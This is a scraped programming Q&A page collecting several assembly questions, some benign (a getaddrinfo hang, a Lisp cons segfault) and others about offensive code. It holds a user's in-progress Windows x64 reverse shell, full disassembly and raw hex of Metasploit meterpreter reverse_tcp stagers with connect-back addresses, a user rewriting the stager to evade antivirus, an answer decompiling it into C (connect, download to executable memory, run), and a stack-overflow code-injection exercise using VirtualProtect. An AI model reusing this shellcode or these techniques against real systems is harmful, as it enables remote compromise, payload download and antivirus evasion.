Windows getaddrinfo hangs; won't return - windows

Trying to implement a system-independend socket api in assembler as private project, I wrote the following code to resolve a string address (DNS or direct IP) to a sockaddr record.
MSDN told me to use getaddrinfo.
[import getaddrinfo Ws2_32.dll]
[extern getaddrinfo]
[section .data use32 class=data]
google db 'www.google.com', 0
[section .code use32 class=code]
main:
push ebp
mov ebp, esp
call socket.initialise ; calls successfully (debugger) WSAStartup
push google
call address.translate
[...]
; address.translate(string) : address
address.translate:
push ebp
mov ebp, esp
sub esp, 0x04
.prepareSystemCall:
xor eax, eax
mov dword [ebp-0x04], eax
.callSystemLookup:
lea edx, [ebp-0x04]
push edx
push 0
push 0
push dword [ebp+0x08]
call [getaddrinfo] ; never returns
.return:
leave
ret 4
But the call of getaddrinfo never returns, so there is no error code or something else. To find the problem I wrote the same program in c, which works (!?) and looked at the resulting assembler code:
004016DD 83EC 08 sub esp, 8
004016E0 C745 DC 00000000 mov [dword ss:ebp-24], 0
004016E7 8D45 DC lea eax, [dword ss:ebp-24]
004016EA 894424 0C mov [dword ss:esp+C], eax
004016EE C74424 08 00000000 mov [dword ss:esp+8], 0
004016F6 C74424 04 00000000 mov [dword ss:esp+4], 0
004016FE C70424 64504000 mov [dword ss:esp], a.00405064 ; ASCII "www.google.de"
00401705 E8 12020000 call <jmp.&ws2_32.getaddrinfo>
It's not equal but at the moment before the call the stack is exactly the same in both examples. Why does getaddrinfo not return?
I'm working on Windows 7 64-bit, using nasm and alink.

Related

when writing 64bit reverse shell in assembly got stuck at createrprocessA api

hello i am writing windows 64bit reverse shell in assembly and after gett connected to the targetmachine ip, i want to create process to spwan a shell, fistly i try to write startinfo struct for createprocess api, but after then i pass all the parameters to the function but it doesn't work, and here is full code https://pastebin.com/6Ft2jCMX
;STARTUPINFOA+PROCESS_INFORMATION
;----------------------------------
push byte 0x12 ; We want to place (18 * 4) = 72 null bytes onto the stack
pop rcx ; Set ECX for the loop
xor r11,r11
push_loop:
push r11 ; push a null dword
loop push_loop ; keep looping untill we have pushed enough nulls
lea r12,[rsp]
mov dl,104
xor rcx,rcx
mov [r12],dword edx
mov [r12+4],rcx
mov [r12+12],rcx
mov [r12+20],rcx
mov [r12+24],rcx
xor rdx,rdx
mov dl,255
inc rdx
mov [r12+0x3c],edx
mov [r12+0x50],r14 ; HANDLE hStdInput;
mov [r12+0x58],r14 ; HANDLE hStdOutput;
mov [r12+0x60],r14 ;HANDLE hStdError;
;createprocessA_calling
sub rsp, 0x70
push 'cmdA'
mov [rsp+3],byte dl
lea rdx,[rsp]
inc rcx
mov [rsp+32],rcx
xor rcx,rcx
xor r8,r8
mov [rsp+40],r8
mov [rsp+48],r8
mov [rsp+56],r8
lea r9,[r12]
mov [rsp+64],r9
lea r9,[r12+104]
mov [rsp+72],r9
xor r9,r9
call rbx ;createprocessA
so at last when i call the createprocessA it got stuck

Why is this assembly program crashing (re-assembled ndisasm output)?

I extracted the assembly code of the windows/meterpreter/reverse_tcp payload with lhost set to 127.0.0.1 and lport set to 443, however after building the assembly program with fasm the program crashes, any ideas as to why?
assembly code:
format PE console
use32
entry start
start:
pusha
mov ebp,esp
xor edx,edx
mov edx,[fs:edx+0x30]
mov edx,[edx+0xc]
mov edx,[edx+0x14]
xor edi,edi
movzx ecx,word [edx+0x26]
mov esi,[edx+0x28]
xor eax,eax
lodsb
cmp al,0x61
jl 0x27
sub al,0x20
ror edi, 0xd
add edi,eax
dec ecx
jnz 0x1e
push edx
push edi
mov edx,[edx+0x10]
mov eax,[edx+0x3c]
add eax,edx
mov eax,[eax+0x78]
test eax,eax
jz 0x8c
add eax,edx
push eax
mov ebx,[eax+0x20]
add ebx,edx
mov ecx,[eax+0x18]
test ecx,ecx
jz 0x8b
xor edi,edi
dec ecx
mov esi,[ebx+ecx*4]
add esi,edx
xor eax,eax
ror edi, 0xd
lodsb
add edi,eax
cmp al,ah
jnz 0x57
add edi,[ebp-0x8]
cmp edi,[ebp+0x24]
jnz 0x4b
pop eax
mov ebx,[eax+0x24]
add ebx,edx
mov cx,[ebx+ecx*2]
mov ebx,[eax+0x1c]
add ebx,edx
mov eax,[ebx+ecx*4]
add eax,edx
mov [esp+0x24],eax
pop ebx
pop ebx
popa
pop ecx
pop edx
push ecx
jmp eax
pop eax
pop edi
pop edx
mov edx,[edx]
jmp 0x15
pop ebp
push dword 0x5f327377
push esp
push dword 0x726774c
mov eax,ebp
call eax
sub esp,eax
push esp
push eax
push dword 0x6b8029
call ebp
push 0xa
push dword 0xf201a8c0
push dword 0xbb010002
mov esi,esp
push eax
push eax
push eax
push eax
inc eax
push eax
inc eax
push eax
push dword 0xe0df0fea
call ebp
xchg eax,edi
push 0x10
push esi
push edi
push dword 0x6174a599
call ebp
test eax,eax
jz 0xf1
dec dword [esi+0x8]
jnz 0xd8
push 0x0
push 0x4
push esi
push edi
push dword 0x5fc8d902
call ebp
cmp eax, 0x0
jng 0x139
mov esi,[esi]
push 0x40
push esi
push 0x0
push dword 0xe553a458
call ebp
xchg eax,ebx
push ebx
push 0x0
push esi
push ebx
push edi
push dword 0x5fc8d902
call ebp
cmp eax, 0x0
jnl 0x151
pop eax
push 0x0
push eax
push dword 0x300f2f0b
call ebp
push edi
push dword 0x614d6e75
call ebp
pop esi
pop esi
dec dword [esp]
jnz near 0xbc
jmp 0xec
add ebx,eax
sub esi,eax
jnz 0x118
ret
mov ebx,0x56a2b5f0
push 0x0
push ebx
call ebp
I'm compiling and running within a windows 7 environment.
I believe it may be because of the push <single_byte> instructions de-aligning the stack, however I'm not sure and inexperienced with assembly, hopefully someone in the community can help me understand what's causing the crash, thanks.
output of:
python -c 'open("out.bin", "wb").write(b"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x31\xff\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20\x01\xd3\x8b\x48\x18\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xc1\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x01\xf2\x68\x02\x00\x01\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5")' && ndisasm -b 32 out.bin
00000000 FC cld
00000001 E88F000000 call 0x95
00000006 60 pusha
00000007 89E5 mov ebp,esp
00000009 31D2 xor edx,edx
0000000B 648B5230 mov edx,[fs:edx+0x30]
0000000F 8B520C mov edx,[edx+0xc]
00000012 8B5214 mov edx,[edx+0x14]
00000015 31FF xor edi,edi
00000017 0FB74A26 movzx ecx,word [edx+0x26]
0000001B 8B7228 mov esi,[edx+0x28]
0000001E 31C0 xor eax,eax
00000020 AC lodsb
00000021 3C61 cmp al,0x61
00000023 7C02 jl 0x27
00000025 2C20 sub al,0x20
00000027 C1CF0D ror edi,byte 0xd
0000002A 01C7 add edi,eax
0000002C 49 dec ecx
0000002D 75EF jnz 0x1e
0000002F 52 push edx
00000030 57 push edi
00000031 8B5210 mov edx,[edx+0x10]
00000034 8B423C mov eax,[edx+0x3c]
00000037 01D0 add eax,edx
00000039 8B4078 mov eax,[eax+0x78]
0000003C 85C0 test eax,eax
0000003E 744C jz 0x8c
00000040 01D0 add eax,edx
00000042 50 push eax
00000043 8B5820 mov ebx,[eax+0x20]
00000046 01D3 add ebx,edx
00000048 8B4818 mov ecx,[eax+0x18]
0000004B 85C9 test ecx,ecx
0000004D 743C jz 0x8b
0000004F 31FF xor edi,edi
00000051 49 dec ecx
00000052 8B348B mov esi,[ebx+ecx*4]
00000055 01D6 add esi,edx
00000057 31C0 xor eax,eax
00000059 C1CF0D ror edi,byte 0xd
0000005C AC lodsb
0000005D 01C7 add edi,eax
0000005F 38E0 cmp al,ah
00000061 75F4 jnz 0x57
00000063 037DF8 add edi,[ebp-0x8]
00000066 3B7D24 cmp edi,[ebp+0x24]
00000069 75E0 jnz 0x4b
0000006B 58 pop eax
0000006C 8B5824 mov ebx,[eax+0x24]
0000006F 01D3 add ebx,edx
00000071 668B0C4B mov cx,[ebx+ecx*2]
00000075 8B581C mov ebx,[eax+0x1c]
00000078 01D3 add ebx,edx
0000007A 8B048B mov eax,[ebx+ecx*4]
0000007D 01D0 add eax,edx
0000007F 89442424 mov [esp+0x24],eax
00000083 5B pop ebx
00000084 5B pop ebx
00000085 61 popa
00000086 59 pop ecx
00000087 5A pop edx
00000088 51 push ecx
00000089 FFE0 jmp eax
0000008B 58 pop eax
0000008C 5F pop edi
0000008D 5A pop edx
0000008E 8B12 mov edx,[edx]
00000090 E980FFFFFF jmp 0x15
00000095 5D pop ebp
00000096 6833320000 push dword 0x3233
0000009B 687773325F push dword 0x5f327377
000000A0 54 push esp
000000A1 684C772607 push dword 0x726774c
000000A6 89E8 mov eax,ebp
000000A8 FFD0 call eax
000000AA B890010000 mov eax,0x190
000000AF 29C4 sub esp,eax
000000B1 54 push esp
000000B2 50 push eax
000000B3 6829806B00 push dword 0x6b8029
000000B8 FFD5 call ebp
000000BA 6A0A push byte +0xa
000000BC 68C0A801F2 push dword 0xf201a8c0
000000C1 68020001BB push dword 0xbb010002
000000C6 89E6 mov esi,esp
000000C8 50 push eax
000000C9 50 push eax
000000CA 50 push eax
000000CB 50 push eax
000000CC 40 inc eax
000000CD 50 push eax
000000CE 40 inc eax
000000CF 50 push eax
000000D0 68EA0FDFE0 push dword 0xe0df0fea
000000D5 FFD5 call ebp
000000D7 97 xchg eax,edi
000000D8 6A10 push byte +0x10
000000DA 56 push esi
000000DB 57 push edi
000000DC 6899A57461 push dword 0x6174a599
000000E1 FFD5 call ebp
000000E3 85C0 test eax,eax
000000E5 740A jz 0xf1
000000E7 FF4E08 dec dword [esi+0x8]
000000EA 75EC jnz 0xd8
000000EC E867000000 call 0x158
000000F1 6A00 push byte +0x0
000000F3 6A04 push byte +0x4
000000F5 56 push esi
000000F6 57 push edi
000000F7 6802D9C85F push dword 0x5fc8d902
000000FC FFD5 call ebp
000000FE 83F800 cmp eax,byte +0x0
00000101 7E36 jng 0x139
00000103 8B36 mov esi,[esi]
00000105 6A40 push byte +0x40
00000107 6800100000 push dword 0x1000
0000010C 56 push esi
0000010D 6A00 push byte +0x0
0000010F 6858A453E5 push dword 0xe553a458
00000114 FFD5 call ebp
00000116 93 xchg eax,ebx
00000117 53 push ebx
00000118 6A00 push byte +0x0
0000011A 56 push esi
0000011B 53 push ebx
0000011C 57 push edi
0000011D 6802D9C85F push dword 0x5fc8d902
00000122 FFD5 call ebp
00000124 83F800 cmp eax,byte +0x0
00000127 7D28 jnl 0x151
00000129 58 pop eax
0000012A 6800400000 push dword 0x4000
0000012F 6A00 push byte +0x0
00000131 50 push eax
00000132 680B2F0F30 push dword 0x300f2f0b
00000137 FFD5 call ebp
00000139 57 push edi
0000013A 68756E4D61 push dword 0x614d6e75
0000013F FFD5 call ebp
00000141 5E pop esi
00000142 5E pop esi
00000143 FF0C24 dec dword [esp]
00000146 0F8570FFFFFF jnz near 0xbc
0000014C E99BFFFFFF jmp 0xec
00000151 01C3 add ebx,eax
00000153 29C6 sub esi,eax
00000155 75C1 jnz 0x118
00000157 C3 ret
00000158 BBF0B5A256 mov ebx,0x56a2b5f0
0000015D 6A00 push byte +0x0
0000015F 53 push ebx
00000160 FFD5 call ebp
gdb output:
C:\Users\localbox\Desktop>gdb msf_shellcode.exe
GNU gdb (GDB) 7.6.1
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "mingw32".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from C:\Users\localbox\Desktop\msf_shellcode.exe...(no debugging
symbols found)...done.
(gdb) run
Starting program: C:\Users\localbox\Desktop/msf_shellcode.exe
[New Thread 2336.0xb00]
Program received signal SIGSEGV, Segmentation fault.
0x0000001e in ?? ()
(gdb) x/32xw $esp
0x6ff6c: 0x00000000 0x00000000 0x0006ff94 0x0006ff8c
0x6ff7c: 0x7ffd5000 0x00401000 0x00000000 0x772fef9a
0x6ff8c: 0x772fefac 0x7ffd5000 0x0006ffd4 0x77b33628
0x6ff9c: 0x7ffd5000 0x778d44b6 0x00000000 0x00000000
0x6ffac: 0x7ffd5000 0x00000000 0x00000000 0x00000000
0x6ffbc: 0x0006ffa0 0x00000000 0xffffffff 0x77aee325
0x6ffcc: 0x0039b51a 0x00000000 0x0006ffec 0x77b335fb
0x6ffdc: 0x00401000 0x7ffd5000 0x00000000 0x00000000
(gdb) info registers
eax 0x4d 77
ecx 0x23 35
edx 0x1f1ae8 2038504
ebx 0x7ffd5000 2147307520
esp 0x6ff6c 0x6ff6c
ebp 0x6ff6c 0x6ff6c
esi 0x1f1929 2038057
edi 0x4d 77
eip 0x1e 0x1e
eflags 0x10202 [ IF RF ]
cs 0x1b 27
ss 0x23 35
ds 0x23 35
es 0x23 35
fs 0x3b 59
gs 0x0 0
You crashed with EIP=0x1e. That's because you told FASM to jump there, to that absolute address, with jnz 0x1e. That page of memory is not mapped into your user-space process, so code-fetch causes an "invalid" page fault, and consequently the OS stops your process.
In the ndisasm output, you can see that 1E is the 0000001E 31C0 xor eax,eax line. That's where that branch is supposed to jump (if taken). ndisasm is disassembling as if the block of machine code was loaded starting at absolute address 0, or you could say it's using relative addresses.
(jcc rel8 is of course in the machine code a relative jump; the original machine code is position independent. So is yours, except that jnz 0x1e tells FASM to figure out the relative offset necessary to reach EIP=0x1e from wherever this instruction will end up.)
Use a disassembler that uses labels for branch targets to make asm source you can actually re-assemble, like Agner Fog's objconv. It can disassemble into NASM/YASM, MASM, or GAS (.intel_syntax noprefix) syntax. NASM and FASM are very close in syntax, and that's what ndisasm make.

What is wrong with my implementation of the Lisp "cons" function?

I am trying to make the Lisp function cons in x86_84 assembly on MacOS. Below I am trying to make a pair of 2 and 3, but it is not working; I am getting a segmentation fault.
.global _main
.extern _malloc
.text
.macro make_node register
mov rdi, 8 # 64-bit number
call _malloc # failed on malloc
mov [rax], \register # contents of register in address of rax
mov \register, [rax]
.endm
cons:
push rbp
mov rbp, rsp
mov r8, [rbp + 16]
make_node r8
mov r9, [rbp + 24]
make_node r9
mov rsp, rbp
pop rbp
ret
_main:
push 3
push 2
call cons
add rsp, 16
# I should now be able to do whatever I want with r8 (2) and r9 (3)
mov rdi, 0
mov rax, 0x2000001
syscall
I stepped through it with GDB and I see that it failed on calling malloc, but to me, there doesn't seem to be a problem since malloc only takes one argument (the number of bytes to allocate) in the rdi register.
Dump of assembler code for function cons:
0x0000000100003f48 <+0>: push %rbp
0x0000000100003f49 <+1>: mov %rsp,%rbp
0x0000000100003f4c <+4>: mov 0x10(%rbp),%r8
0x0000000100003f50 <+8>: mov $0x8,%rdi
=> 0x0000000100003f57 <+15>: callq 0x100003f96
0x0000000100003f5c <+20>: mov %r8,(%rax)
0x0000000100003f5f <+23>: mov (%rax),%r8
0x0000000100003f62 <+26>: mov 0x18(%rbp),%r9
0x0000000100003f66 <+30>: mov $0x8,%rdi
0x0000000100003f6d <+37>: callq 0x100003f96
0x0000000100003f72 <+42>: mov %r9,(%rax)
0x0000000100003f75 <+45>: mov (%rax),%r9
0x0000000100003f78 <+48>: mov %rbp,%rsp
0x0000000100003f7b <+51>: pop %rbp
0x0000000100003f7c <+52>: retq
End of assembler dump.
(gdb) ni
Thread 2 received signal SIGSEGV, Segmentation fault.
I am assembling on a Mac like this: clang -masm=intel cell.asm.
Does anyone familiar with x86 assembly know the source of my error?
(Also, in case anyone asks, I know that it's important to call free after malloc but this code is the only code necessary to demonstrate my problem.)

X64 ASSEMBLY - Cannot run compiled and linked raw shellcode in Windows

After using metasploit's windows/x64/meterpreter/reverse_tcp shellcode on my windows 10 machine (with AVs turned off), I decided to try to create a hand-made polymorphic, null-free and custom-encoded version of the same shellcode (with the hope of evading my AVs).
To test my work flow, I produced a raw output of the shellcode using:
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -a x64 --platform windows LHOST='my IP address' | ndisasm -b 64 -
global _start
section .text
_start:
cld
and rsp,byte -0x10
call first_call ;dword 0xd6
push r9
push r8
push rdx
push rcx
push rsi
xor rdx,rdx
mov rdx,[gs:rdx+0x60]
mov rdx,[rdx+0x18]
mov rdx,[rdx+0x20]
fifth_jmp:
mov rsi,[rdx+0x50]
movzx rcx,word [rdx+0x4a]
xor r9,r9
xor rax,rax
lodsb
cmp al,0x61
jl 0x37
sub al,0x20
ror r9d,0xd
add r9d,eax
loop 0x2d
push rdx
push r9
mov rdx,[rdx+0x20]
mov eax,[rdx+0x3c]
add rax,rdx
cmp word [rax+0x18],0x20b
jnz first_jmp ;dword 0xcb
mov eax,[rax+0x88]
test rax,rax
jz first_jmp ;0xcb
add rax,rdx
push rax
mov ecx,[rax+0x18]
mov r8d,[rax+0x20]
add r8,rdx
fourth_jmp:
jrcxz second_jmp ;0xca
dec rcx
mov esi,[r8+rcx*4]
add rsi,rdx
xor r9,r9
third_jmp:
xor rax,rax
lodsb
ror r9d,0xd
add r9d,eax
cmp al,ah
jnz third_jmp
add r9,[rsp+0x8]
cmp r9d,r10d
jnz fourth_jmp ;0x72
pop rax
mov r8d,[rax+0x24]
add r8,rdx
mov cx,[r8+rcx*2]
mov r8d,[rax+0x1c]
add r8,rdx
mov eax,[r8+rcx*4]
add rax,rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp,byte +0x20
push r10
jmp rax
second_jmp:
pop rax
first_jmp:
pop r9
pop rdx
mov rdx,[rdx]
jmp dword fifth_jmp ;0x21
first_call:
pop rbp
mov r14,0x32335f327377
push r14
mov r14,rsp
sub rsp,0x1a0
mov r13,rsp
mov r12,0x6900a8c05c110002
push r12
mov r12,rsp
mov rcx,r14
mov r10d,0x726774c
call rbp
mov rdx,r13
push dword 0x101
pop rcx
mov r10d,0x6b8029
call rbp
push byte +0x5
pop r14
ninth_jmp:
push rax
push rax
xor r9,r9
xor r8,r8
inc rax
mov rdx,rax
inc rax
mov rcx,rax
mov r10d,0xe0df0fea
call rbp
mov rdi,rax
sixth_jmp:
push byte +0x10
pop r8
mov rdx,r12
mov rcx,rdi
mov r10d,0x6174a599
call rbp
test eax,eax
jz 0x15e
dec r14
jnz sixth_jmp ;0x13e
call second_call ;dword 0x1f1
sub rsp,byte +0x10
mov rdx,rsp
xor r9,r9
push byte +0x4
pop r8
mov rcx,rdi
mov r10d,0x5fc8d902
call rbp
cmp eax,byte +0x0
jng seventh_jmp ;0x1d1
add rsp,byte +0x20
pop rsi
mov esi,esi
push byte +0x40
pop r9
push dword 0x1000
pop r8
mov rdx,rsi
xor rcx,rcx
mov r10d,0xe553a458
call rbp
mov rbx,rax
mov r15,rax
tenth_jmp:
xor r9,r9
mov r8,rsi
mov rdx,rbx
mov rcx,rdi
mov r10d,0x5fc8d902
call rbp
cmp eax,byte +0x0
jnl eighth_jmp ;0x1e3
pop rax
push r15
pop rcx
push dword 0x4000
pop r8
push byte +0x0
pop rdx
mov r10d,0x300f2f0b
call rbp
seventh_jmp:
push rdi
pop rcx
mov r10d,0x614d6e75
call rbp
dec r14
jmp ninth_jmp ;0x11f
eighth_jmp:
add rbx,rax
sub rsi,rax
test rsi,rsi
jnz tenth_jmp ;0x1a2
jmp r15
second_call:
pop rax
push byte +0x0
pop rcx
mov r10,0x56a2b5f0
call rbp
Before making any changes to the ndisasm output (apart from modifying the call and jmp destinations from relative addresses to labels, see code above), I compiled and linked the output using:
nasm -f win64 -o meterpreter_reverse_tcp.o meterpreter_reverse_tcp.asm
/opt/mingw/x86_64-w64-mingw32/bin/ld -o meterpreter_reverse_tcp.exe meterpreter_reverse_tcp.o
But when I ran the .exe on my windows 10 machine, I got the following error:
Meterpreter_reverse_tcp.exe has stopped working. A problem caused the program to stop working correctly. Windows will close the program and notify you if a solution is available.
The output of the command 'file meterpreter_reverse_tcp.exe' is:
meterpreter_reverse_tcp.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
What did I do wrong ?
your shell code if convert it to c/c++ is next:
LoadLibraryA("ws2_32");
WSADATA wd;
WSAStartup(MAKEWORD(1,1), &wd);
loop:
SOCKET s = WSASocketA(AF_INET, SOCK_STREAM, 0, 0, 0, 0);
SOCKADDR_IN sa = { AF_INET, _byteswap_ushort(4444) };
sa.sin_addr.s_addr = IP(192, 168, 0, 105);
// try 5 times connect to 192.168.0.105
int n = 5;
do
{
if (connect(s, (sockaddr*)&sa, sizeof(SOCKADDR_IN)) == NOERROR)
{
// we connected
break;
}
} while (--n);
ExitProcess(0);// !! error in shellcode or special damaged ?
ULONG len;
// get the length of shellcode
if (0 < recv(s, (char*)&len, sizeof(len), 0))
{
// allocate buffer for shellcode
PVOID pv = VirtualAlloc(0, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
char* buf = (char*)pv;
// download shellcode in loop
do
{
if (0 > (n = recv(s, buf, len, 0)))
{
// download fail
// bug !!
// must be MEM_RELEASE for free memory, but used MEM_DECOMMIT in code.
VirtualFree(pv, 0, MEM_DECOMMIT);
closesocket(s);
goto loop;
}
} while (buf += n, len -= n);
// all shellcode downloaded
// call it
((FARPROC)pv)();
}
ExitProcess(0);
it i be say worked under debugger. if something not worked for you - debug it. especially put bp on jmp rax - the begin of shell code is function which search for exported api (by hash) and call it (jmp rax)

Self modifying algorithms with Virtualprotect problems

I'm having problems with the Virtualprotect() api by windows.
I got an assignment from school, my teacher told us that in the past when memory was scarce and costly. Programmers had to create advanced algorithms that would modify itself on the fly to save memory. So there you have it, we must now write such an algorithm, it doesn't have to be effective but it must modify itself.
So I set out to do just that, and I think that I made it pretty far before asking for any help.
My program works like this:
I have a function and a loop with a built-in stack overflow. The stack gets overflown with the address of a memory location where code resides that is constructed during the loop. Control is passed to the code in memory. The code loads a dll and then exits, but before it exits it has to repair the loop. It is one of the conditions of our assignment, everything changed in the original loop must be restored.
The problem is that I don't have write access to the loop, only READ_EXECUTE, so to change my access I thought, I use virtualprotect. But that function returned an error:
ERROR_NOACCESS, the documentation on this error is very slim, windows only says: Invailid access to memory address. Which figures since I wanted to change the access in the first place. So what's wrong? Here's the code constructed in memory:
The names of all the data in my code is a little vague, so I provided a few comments
Size1:
TrapData proc
jmp pLocals
LocalDllName db 100 dup(?) ; name of the dll to be called ebx-82h
RestoreBuffer db 5 dup(?) ; previous bytes at the overflow location
LoadAddress dd 0h ; ebx - 19h ; address to kernel32.loadlibrary
RestoreAddress dd 0h ; ebx - 15h ; address to restore (with the restore buffer)
AddressToRestoreBuffer dd 0h ; ebx - 11h ; obsolete, I don't use this one
AddressToLea dd 0h ; ebx - 0Dh Changed, address to kernel32.virutalprotect
AddressToReturnTo dd 0h ; ebx - 9h address to return execution to(the same as RestoreAddress
pLocals:
call Refpnt
Refpnt: pop ebx ; get current address in ebx
push ebx
mov eax, ebx
sub ebx, 82h
push ebx ; dll name
sub eax, 19h ; load lib address
mov eax, [eax]
call eax
pop ebx ; Current address
push ebx
;BOOL WINAPI VirtualProtect(
; __in LPVOID lpAddress,
; __in SIZE_T dwSize,
; __in DWORD flNewProtect,
; __out PDWORD lpflOldProtect
;);
mov eax, ebx
mov esi, ebx
sub eax, 82h
push eax ; overwrite the buffer containing the dll name, we don't need it anymore
push PAGE_EXECUTE_READWRITE
push 5h
sub esi, 15h
mov esi, [esi]
push esi
sub ebx, 0Dh
mov ebx, [ebx]
call ebx ; Returns error 998 ERROR_NOACCESS (to what?)
pop ebx
push ebx
sub ebx, 1Eh
mov eax, ebx ; restore address buffer pointer
pop ebx
push ebx
sub ebx, 15h ; Restore Address
mov ebx, [ebx]
xor esi, esi ; counter to 0
#0:
push eax
mov al, byte ptr[eax+esi]
mov byte ptr[ebx+esi], al
pop eax
inc esi
cmp esi, 5
jne #0
pop ebx
sub ebx, 9h
mov ebx, [ebx]
push ebx ; address to return to
ret
Size2:
So what's wrong?
Can you guys help me?
EDIT, Working code:
Size1:
jmp pLocals
LocalDllName db 100 dup(?)
RestoreBuffer db 5 dup(?)
LoadAddress dd 0h ; ebx - 19h
RestoreAddress dd 0h ; ebx - 15h
AddressToRestoreBuffer dd 0h ; ebx - 11h
AddressToLea dd 0h ; ebx - 0Dh
AddressToReturnTo dd 0h ; ebx - 9h
pLocals:
call Refpnt
Refpnt: pop ebx ; get current address in ebx
push ebx
mov eax, ebx
sub ebx, 82h
push ebx ; dll name
sub eax, 19h ; load lib address
mov eax, [eax]
call eax
pop ebx ; Current address
push ebx
;BOOL WINAPI VirtualProtect(
; __in LPVOID lpAddress,
; __in SIZE_T dwSize,
; __in DWORD flNewProtect,
; __out PDWORD lpflOldProtect
;);
mov esi, ebx
push 0
push esp
push PAGE_EXECUTE_READWRITE
push 5h
sub esi, 15h
mov esi, [esi]
push esi
sub ebx, 0Dh
mov ebx, [ebx]
call ebx
pop ebx
pop ebx
push ebx
sub ebx, 1Eh
mov eax, ebx ; restore address buffer pointer
pop ebx
push ebx
sub ebx, 15h ; Restore Address
mov ebx, [ebx]
xor esi, esi ; counter to 0
#0:
push eax
mov al, byte ptr[eax+esi]
mov byte ptr[ebx+esi], al
pop eax
inc esi
cmp esi, 5
jne #0
pop ebx
sub ebx, 9h
mov ebx, [ebx]
push ebx ; address to return to
ret
Size2:
Maybe a little sloppy, but I that doesn't mater ;)
You are trying to make VirtualProtect write lpflOldProtect to a read-only memory location, i.e. your current code section which is what you're trying to unprotect in the first place! My guess is this is what gives you the ERROR_NO_ACCESS. Since you're using the stack anyway, have it write lpflOldProtect to a stack location.
This isn't nearly as easy as it was in the old days; read access used to imply execute access, and a lot of memory mappings were mapped writable.
These days, I'd be surprised if there are many (any?) memory mappings that are both writable and executable. (And modern CPUs with PAE support are sufficient for even 32-bit kernels to provide non-executable-yet-readable mappings.)
I'd say, first things first, find an older Windows system, Win2k or earlier, then start trying to tackle this problem. :)
EDIT: Oh! I thought loading the DLL failed. Good work. :)
What do you mean by 'restore the loop'? Since you smashed the stack to jump to your code, you didn't really destroy the loop's text segment, you only scribbled on the stack. You could insert another function before your loop, then return from your dll to the function that called your loop. (You 'returned' into your injected code from the loop, so you can't return into the loop without building a fake stack frame for it; returning to the previous function seems easier than building a fake stack frame.)

Resources